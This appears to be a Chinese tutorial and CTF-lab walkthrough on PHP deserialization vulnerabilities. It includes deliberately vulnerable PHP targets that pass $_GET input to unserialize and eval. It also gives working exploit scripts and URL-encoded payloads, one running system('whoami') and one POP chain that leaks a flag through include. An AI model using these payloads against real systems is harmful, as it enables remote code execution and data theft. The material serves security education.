Web渗透—PHP反序列化????????课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
<?php
class?index?{
private?$test;
public?function?__construct(){
$this->test?=?new?normal();
}
public?function?__destruct(){ //反序列化unserialize()触发魔术方法destruct()
$this->test->action(); //destruct()从$test调用action()
}
}
class?normal?{
public?function?action(){
echo?"please?attack?me";
}
}
class?evil?{
var?$test2;
public?function?action(){ //eval()调用$test2
eval($this->test2); //可利用漏洞点在函数eval(),(可执行漏洞)
}
}
unserialize($_GET['test']);
?>
关联点:如何让$test调用evil里面的成员方法action()
解决思路:给$test赋值为对象test = new evil()
<?php
class?index?{
private?$test;
public?function?__construct(){
$this->test?=?new?evil(); //关联步骤:给$test赋值实例化对象test = new evil()
}
}
class?evil?{ //序列化只能序列化成员属性,不能序列化成员方法
var?$test2 = "system('whoami');"; //构造命令语句
}
$a = new index(); //实例化对象index(),自动调用__construct()
echo urlencode(serialize($a));
?>
输出结果:
O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D
解题方法:
此时$a为实例化对象index(),其中成员属性$test=new evil(),$test为实例化对象evil(),成员属性$test=”system(‘whoami’);”;
回显结果:
魔术方法触发的前提:魔术方法所在类(或对象)被调用
(目标:显示”toString is here!!”)
<?php
class?fast?{
public?$source;
public?function?__wakeup(){
echo?"wakeup?is?here!!";
echo??$this->source; //3.在echo中的source包含实例化sec()的对象
}
}
class?sec?{
var?$benben;
public?function?__tostring(){ //2.把sec()实例化成对象后当成字符串输出
echo?"tostring?is?here!!"; //1.需要触发__toString()
}
}
$b?=?$_GET['benben'];
unserialize($b);
?>
<?php
class?fast?{
public?$source;
}
class?sec?{
var?$benben;
}
$a = new fast();
$b = new sec();
$a -> source = $b; //将$b当成字符串赋值给source
echo serialize($a); //在触发wakeup后执行echo从而触发sec里的__toString
?>
在对象$a里让source赋值对象$b,再触发wakeup后执行echo从而触发sec里的toString
输出结果:
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
回显结果:
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,即POP(Property Oriented Programming)。
POP链就是利用魔法方法在里面进行多次跳转然后获得敏感数据的一种payload。
POC(全称:Proof of concept)中文译做概念验证。在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
编写一段不完整的程序,获取所需要的的序列化字符串。
<?php
//flag?is?in?flag.php
class?Modifier?{
private?$var;
public?function?append($value){
include($value);
echo?$flag; //1.目标:触发echo输出$flag
}
public?function?__invoke(){ //2.触发invoke,调用append,并使$var=flag.php
$this->append($this->var); //3.invoke触发条件:把对象当成函数
}
}
class?Show{
public?$source;
public?$str;
public?function?__toString(){ //7.触发toString(触发条件:把对象当做字符串)
return?$this->str->source;
//6.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法
}
public?function?__wakeup(){
echo?$this->source; //8.给$source赋值为对象Show,当成字符串被echo调用,触发toString
}
}
class?Test{
public?$p;
public?function?__construct(){
$this->p?=?array();
}
public?function?__get($key){ //5.触发get,(触发条件:调用不存在的成员属性)
$function?=?$this->p; //4.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
}
return?$function();
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
解题思路:
第一步:触发invoke,使$var=flag.php;
第二步:触发get,给$p赋值为对象Modifier
第三步:触发toString,给$str赋值为对象Test
第四步:触发wakeup,给$source赋值为对象Show
<?php
class?Modifier?{
private?$var="flag.php"; //根据提示flag在flag.php,将$var赋值为flag.php
}
class?Show{
public?$source;
public?$str;
}
class?Test{
public?$p;
}
$a = new Modifier(); //实例化Modifier为$a
$b = new Show(); //实例化Show为$b
$c = new Test(); //实例化Test为$c
$c -> p = $a;
$b -> str = $c;
$b -> source = $b;
echo urlencode(serialize($b));
?>
输出结果:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D?
回显结果:
获得ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}